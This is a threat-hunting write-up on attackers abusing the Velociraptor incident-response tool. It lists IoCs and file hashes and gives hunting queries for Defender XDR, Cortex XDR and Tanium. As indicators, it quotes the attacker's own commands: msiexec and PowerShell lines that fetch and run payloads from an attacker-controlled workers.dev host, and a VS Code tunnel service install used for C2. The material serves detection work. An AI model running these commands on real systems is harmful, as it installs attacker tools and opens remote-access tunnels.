Hunter-Case-05 - Velociraptor tool abused for remote access

- Velociraptor incident response tool abused for remote access

1.) Information

Hunter Blue's day started everyday with researching the cyber security news for new Threat Huntings tasks to execute them on customer datalakes.

-> Interesting report from Sophos covering malicious Velociraptor use https://news.sophos.com/en-us/2025/08/26/velociraptor-incident-response-tool-abused-for-remote-access/

You should investigate the initial Entry and Execution to search through the logs with these IoCs / IoAs to find the right artifacts for Threat Hunting.

Affected Component: Velociraptor Investigation Tool

Root Cause: deployment of the legitimate open-source Velociraptor digital forensics and incident response (DFIR) tool

Exploitation: used the tool to download and execute Visual Studio Code with the likely intention of creating a tunnel to an attacker-controlled command and control (C2) server

2.) Indicators of Compromise

2.1) Executions from Threat Actor - Steps

  1. tool to download and execute Visual Studio Code with the likely intention

  2. creating a tunnel to an attacker-controlled command and control (C2) server. Enabling the tunnel option in Visual Studio Code

  3. Windows msiexec utility to download an installer (v2.msi) from a Cloudflare Workers domain (files[.]qaubctgg[.]workers[.]dev)

  4. staging folder for attacker tools, including the Cloudflare tunneling tool and the Radmin remote administration tool

  5. file installed Velociraptor, which is configured to communicate with C2 server velo[.]qaubctgg[.]workers[.]dev

  6. encoded PowerShell command to download Visual Studio Code (code.exe) from the same staging folder and executed it with the tunnel option enabled.

  7. installed code.exe as a service and redirected the output to a log file

  8. msiexec Windows utility again to download additional malware (sc.msi) from the workers[.]dev folder

2.2) Indicators of Compromise - Executions

#IOCs
Indicator Type Context
files[.]qaubctgg[.]workers[.]dev Domain name Hosted tools used in August 2025 Velociraptor campaign
velo[.]qaubctgg[.]workers[.]dev Domain name C2 server used in August 2025 Velociraptor campaign

Velociraptor execution:
\Program Files\Velociraptor\Velociraptor.exe --config "C:\Program Files\Velociraptor\client.config.yaml" service run

VS Code tunnel execution:
code.exe tunnel --accept-server-license-terms service install

PowerShell execution:
powershell.exe -ExecutionPolicy Unrestricted -encodedCommand Invoke-WebRequest -Uri "https://files.qaubctgg.workers.dev/code.exe" -OutFile "C:\ProgramData\code.exe"

MSI execution:
msiexec /q /i https://files.qaubctgg.workers.dev/sc.msi

3.) Initial Access

Threat actors often abuse remote monitoring and management (RMM) tools. In some instances, they leverage preexisting tools on the targeted systems.

They used the tool to download and execute Visual Studio Code with the likely intention of creating a tunnel to an attacker-controlled command and control (C2) server

4.) Finding through Threat Hunting

  • We hunted through the Datalake logs in the whole infrastructure...

5.) Mitigation

To mitigate exposure to this malware, organizations use available controls to review and restrict access using the indicators listed in Table 1. The domains may contain malicious content, so consider the risks before opening them in a browser.

Indicator

Type

Context

files[.]qaubctgg[.]workers[.]dev

Domain name

Hosted tools used in August 2025 Velociraptor campaign

velo[.]qaubctgg[.]workers[.]dev

Domain name

C2 server used in August 2025 Velociraptor campaig

Table 1

6.) Detection and Hunting

6.1) Sigma Rules

###will follow

6.2) Linux Commandline Hunting

###will follow

6.3) Hunting Queries Microsoft Defender XDR

###VELO-HUNT-ABUSE-01 - Detect Velociraptor Execution
DeviceProcessEvents
| where FileName =~ "Velociraptor.exe"
| where ProcessCommandLine has_all ("--config", "service run")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
| distinct ProcessCommandLine




###VELO-HUNT-ABUSE-02 - Detect VS Code Tunnel Usage
DeviceProcessEvents
| where FileName =~ "code.exe" or FileName =~ "code-tunnel.exe"
| where ProcessCommandLine has "tunnel" and ProcessCommandLine has "service"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName


#This query identifies potential DEV Tunnel commands executed via PowerShell or batch 
DeviceProcessEvents
| where ProcessCommandLine matches regex @"powershell.*tunnel" or ProcessCommandLine matches regex @"cmd.*tunnel"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName, InitiatingProcessFileName


###VELO-HUNT-ABUSE-03 - Detect PowerShell Download from Suspicious Domain
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe")
| where ProcessCommandLine has_any ("-ExecutionPolicy", "Invoke-" "-EncodedCommand", "IEX", "DownloadString", "FromBase64String") 
| where ProcessCommandLine has "workers.dev"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine


###VELO-HUNT-ABUSE-04 - Malicious Domain Hunting
let domainList = dynamic(["workers.dev"]);
union
(
    DnsEvents
    | where QueryType has_any(domainList) or Name has_any(domainList)
    | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
    IdentityQueryEvents
    | where QueryTarget has_any(domainList)
    | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
    DeviceNetworkEvents
    | where RemoteUrl has_any(domainList)
    | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
    DeviceNetworkInfo
    | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
    | mv-expand DnsAddresses, ConnectedNetworks
    | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
    | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
    EmailUrlInfo
    | where UrlDomain has_any(domainList)
    | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
    UrlClickEvents
    | where Url has_any(domainList)
    | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc 


or

let knowndevices=
DeviceNetworkEvents
| project DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, ActionType, LocalIPType, RemoteIPType
| where InitiatingProcessFileName contains "Remote"
| where ActionType == "ConnectionSuccess"
| where LocalIPType == "Private"
| where RemoteIPType == "Public"
| distinct DeviceName;
//Find new devices in the last day not in the known list
    DeviceNetworkEvents
    | where InitiatingProcessFileName has_any ("powershell.exe", "pwsh.exe", "powershell_ise.exe", "code.exe", "msiexec.exe", "Velociraptor.exe") 
    | where RemoteUrl has_any ("workers.dev")
    //| where ActionType == "ConnectionSuccess"
    | where LocalIPType == "Private"
    | where RemoteIPType == "Public"
    | where DeviceName !in (knowndevices)
    //| distinct DeviceName


or

let Time_start = now(-30d);
let Time_end = now();
//
let MalRMMToolsNet = dynamic(["workers.dev"]);
let rmmNetwork = 
DeviceNetworkEvents
| where Timestamp between (Time_start..Time_end)
| where RemoteUrl has_any (MalRMMToolsNet)
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), 
    Report=make_set(ReportId), Count=count() by Timestamp, DeviceId, DeviceName,InitiatingProcessAccountUpn ,InitiatingProcessAccountName, InitiatingProcessFolderPath,InitiatingProcessFileName,InitiatingProcessCommandLine,InitiatingProcessParentFileName ,ActionType, LocalIPType, RemoteIPType, RemoteIP, RemoteUrl 
//| extend rmmNetworkName = 'action1'
;
rmmNetwork



###VELO-HUNT-ABUSE-05 - Detect MSI Install from External URL
DeviceProcessEvents
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine has "http" or ProcessCommandLine has "https" or ProcessCommandLine has "https" or ProcessCommandLine has "v2.msi"
| where ProcessCommandLine has "workers.dev"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName






###Created by DETECTIONS.AI
// Name: Velociraptor C2 - New RMM abuse tool for Remote Access & Control
// Author: Reyben T. Cortes
// Date: 2025-08-28
// Description: Detects hard IoCs and activity associated with a trojanized installer of Velociraptor incident response tool making callbacks to C2 domains from workers[.]dev and tunneling with Visual Studio Code (code.exe). The detection looks for the creation of hard IoCs from this malicious Velociraptor installer V2.msi, followed by network connections to known C2 domains and the execution of related processes, including PowerShell (with support for detecting encoded commands to install code.exe) and msiexec activity tied to malicious domains.
// Tactics: Execution, Command and Control
// Techniques: T1204.002, T1071.001
// Data Sources: DeviceFileEvents, DeviceNetworkEvents, DeviceProcessEvents
// Severity: High

let TimeFrame = 1h;
let CorrelationWindow = 5m;

// Define known indicators of C2 staging domains (IOCs)
let VelociraptorRMMC2Domains = dynamic(["files.qaubctgg.workers.dev", "velo.qaubctgg.workers.dev", "elo.qaubctgg.workers.dev", "api.blueberrystorage.com"]);
// Define known malicious file hashes
let MaliciousSHA256 = dynamic([
    "649bdaa38e60ede6d140bd54ca5412f1091186a803d3905465219053393f6421", // v2.msi, Velociraptor C2 Installer
    "a29125333ad72138d299cc9ef09718ddb417c3485f6b8fe05ba88a08bb0e5023", // Execution parent, C2 communication
    "59810d2327652fb073f3c22f0d498af6506b0af862ce348f47cead331f3d4178", // Execution parent, C2 communication
    "4c04ec20ff5e5841911971333a5afb157b385388aab7d17e21d9d2950ecebe59"  // Execution parent, C2 communication
]);
// Define discovered recent hashes for similar trojanized Velociraptor .msi installers
let TrojanizedVelociraptorSHA256 = dynamic([
    "da19f5bd0426ea4bfe458f4942cafa4889b993dc7921b75b8f6cead55b4c760f", // Trojanized Velociraptor, low VT
    "e0f8850ff89919d54f9a84175cfa91c9f14f1311d0e4832ce9af3c1349a23d25"  // Trojanized Velociraptor, low VT
]);

// Start with file creation events matching known malicious indicators
DeviceFileEvents
| where Timestamp > ago(TimeFrame)
| where SHA256 in (MaliciousSHA256) or SHA256 in (TrojanizedVelociraptorSHA256) or FileName == "sc.msi" or FileName == "code.exe"
// Correlate with network connections to C2 domains from the same device
| join kind=inner (
    DeviceNetworkEvents
    | where Timestamp > ago(TimeFrame)
    | where RemoteUrl has_any (VelociraptorRMMC2Domains)
) on DeviceId
// FP Tuning: Correlate events within a short time window to ensure they are related.
// Time-based correlation is more robust than joining on potentially generic process names or accounts.
| where Timestamp1 between (Timestamp .. (Timestamp + CorrelationWindow)) // Timestamp1 is from DeviceNetworkEvents
// Correlate with related process execution events
| join kind=leftouter (
    DeviceProcessEvents
    | where Timestamp > ago(TimeFrame)
    // Extract and decode encoded PowerShell commands for targeted inspection
    | extend EncodedPart = extract(@"(?:-|/)enc(?:odedCommand)?\s+([A-Za-z0-9+/=]+)", 1, ProcessCommandLine)
    | extend DecodedCommand = iff(EncodedPart != "", base64_decode_tostring(EncodedPart), "")
    | where InitiatingProcessSHA256 in (MaliciousSHA256)
       or InitiatingProcessSHA256 in (TrojanizedVelociraptorSHA256)
       or FileName == "velociraptor.exe"
       or InitiatingProcessFileName == "velociraptor.exe"
       or ProcessCommandLine contains "Velociraptor"
       or InitiatingProcessCommandLine contains "Velociraptor"
       or (FileName == "powershell.exe" and (ProcessCommandLine has "files.qaubctgg.workers.dev" or DecodedCommand has_any (VelociraptorRMMC2Domains, "code.exe", "Visual Studio Code")))
       or (FileName == "msiexec.exe" and ProcessCommandLine has_any (VelociraptorRMMC2Domains))
) on DeviceId
| where Timestamp2 between (Timestamp .. (Timestamp + CorrelationWindow)) // Timestamp2 is from DeviceProcessEvents
// Summarize the correlated activity to generate a single alert per incident
| summarize
    StartTime = min(Timestamp),
    EndTime = max(Timestamp),
    EventCount = count(),
    RemoteUrls = make_set(RemoteUrl),
    ProcessesCreated = make_set(FileName1), // FileName1 is from DeviceProcessEvents
    ProcessCommandLines = make_set(ProcessCommandLine1), // ProcessCommandLine1 is from DeviceProcessEvents
    InitiatingProcessSHA256s = make_set(InitiatingProcessSHA2561) // InitiatingProcessSHA2561 is from DeviceProcessEvents
    by
    DeviceId,
    DeviceName,
    MaliciousFileName = FileName,
    MaliciousFileSHA256 = SHA256,
    FolderPath,
    AccountName = InitiatingProcessAccountName, // From the initial DeviceFileEvents
    InitiatingProcess = InitiatingProcessFileName // From the initial DeviceFileEvents

6.4) Hunting Queries Palo Cortex XDR

###VELO-HUNT-ABUSE-01 - Detect Velociraptor Execution
dataset = xdr_data
| filter event_type = ENUM.PROCESS
and lowercase(action_process_image_name) = "velociraptor.exe"
and lowercase(action_process_image_command_line)  contains "--config"
and lowercase(action_process_image_command_line ) contains "service run"
| fields agent_hostname, action_process_image_name, action_process_image_command_line , event_timestamp




###VELO-HUNT-ABUSE-02 - Detect VS Code Tunnel Usage
dataset = xdr_data
| filter event_type = ENUM.PROCESS
| filter lowercase(action_process_image_name) = "code.exe" or lowercase(action_process_image_name) = "code-tunnel.exe"
| filter lowercase(action_process_image_command_line) contains "tunnel" and lowercase(action_process_image_command_line) contains "service" and lowercase(action_process_image_command_line) contains "install"
| fields agent_hostname, action_process_image_name, action_process_image_command_line, event_timestamp




###VELO-HUNT-ABUSE-03 - Detect PowerShell Download from Suspicious Domain
dataset = xdr_data
| filter event_type = ENUM.PROCESS
| filter lowercase(action_process_image_name) = "powershell.exe" or lowercase(action_process_image_name) = "pwsh.exe" or lowercase(action_process_image_name) = "powershell_ise.exe"
| filter action_process_image_command_line contains "Invoke-WebRequest" and action_process_image_command_line contains "workers.dev"
| fields agent_hostname, action_process_image_command_line, event_timestamp




###VELO-HUNT-ABUSE-04 - Malicious Domain Hunting
config case_sensitive = false
| dataset = xdr_data
//| filter event_type = ENUM.STORY
| filter dst_action_external_hostname ~="workers.dev" OR dns_query_name ~="workers.dev"
OR dst_agent_hostname ~="workers.dev" OR dst_host_metadata_hostname ~="workers.dev"
OR action_external_hostname ~="workers.dev"
//action_remote_ip in ("<malicious-IP>")
//| filter action_remote_port = 8333
//| dedup actor_process_image_name 
| fields _time, agent_hostname,os_actor_effective_username ,actor_process_image_name,actor_process_command_line ,action_local_ip, action_remote_ip, action_remote_port,http_referer, http_req_referer_header ,dns_query_name, dst_action_external_hostname ,dst_action_external_hostname, action_external_hostname



###VELO-HUNT-ABUSE-05 - Detect MSI Install from External URL
dataset = xdr_data
| filter event_type = ENUM.PROCESS
| filter lowercase(action_process_image_name) = "msiexec.exe"
| filter action_process_image_command_line contains "workers.dev" and action_process_image_command_line contains "http"
and action_process_image_command_line contains "v2.msi"
| fields agent_hostname, action_process_image_command_line, event_timestamp



6.5) Hunting Queries Tanium EDR

###VELO-HUNT-ABUSE-01 - Detect Velociraptor Execution
\Program Files\Velociraptor\Velociraptor.exe --config "C:\Program Files\Velociraptor\client.config.yaml" service run
Get Trace Executed Processes[unlimited,1748005320000|1750687320000,1,0,100,0,"(?i).*(Velociraptor.exe).*","","(?i).*(--config|client.config.yaml|service|run).*","","",""] from all machines


###VELO-HUNT-ABUSE-02 - Detect VS Code Tunnel Usage
--accept-server-license-terms service install
Get Trace Executed Processes[unlimited,1748005320000|1750687320000,1,0,100,0,"(?i).*(code.exe).*","","(?i).*(--accept-server-license-terms|service|install).*","","",""] from all machines



###VELO-HUNT-ABUSE-03 - Detect PowerShell Download from Suspicious Domain
-ExecutionPolicy Unrestricted -encodedCommand Invoke-WebRequest -Uri "https://files.qaubctgg.workers.dev/code.exe" -OutFile "C:\ProgramData\code.exe"
Get Trace Executed Processes[unlimited,1748005320000|1750687320000,1,0,100,0,"(?i).*(powershell.exe|pwsh.exe|powershell_ise.exe).*","","(?i).*(code.exe|OutFile|workers.dev|Invoke-WebReques|-encodedCommand).*","","",""] from all machines


###VELO-HUNT-ABUSE-04 - Malicious Domain Hunting
Get Trace DNS Queries[unlimited,1740817620000|1746001620000,1,0,100,0,"","",".*(workers.dev).*","",""] from all machines



###VELO-HUNT-ABUSE-05 - Detect MSI Install from External URL
msiexec /q /i https://files.qaubctgg.workers.dev/sc.msi
Get Trace Network Connections[1 week,1677415020000|1678023420000,1,0,100,0,0,"","","","",".*(msiexec.exe).*","",""] from all machines

7.) Conclusion and Learning for a Hunter Blue

  • The Velociraptor incident reveals attackers pivoting to using incident response tools to gain a foothold in a network and minimize the amount of malware they deploy

  • its definitely necessary to check during Hunting or Initial Triage how Malware was staged

  • -> showcasing how fruitful Compromise Assessment Hunting and Time Line Analysis can be and should be used in such cases -> it is essential.

Last updated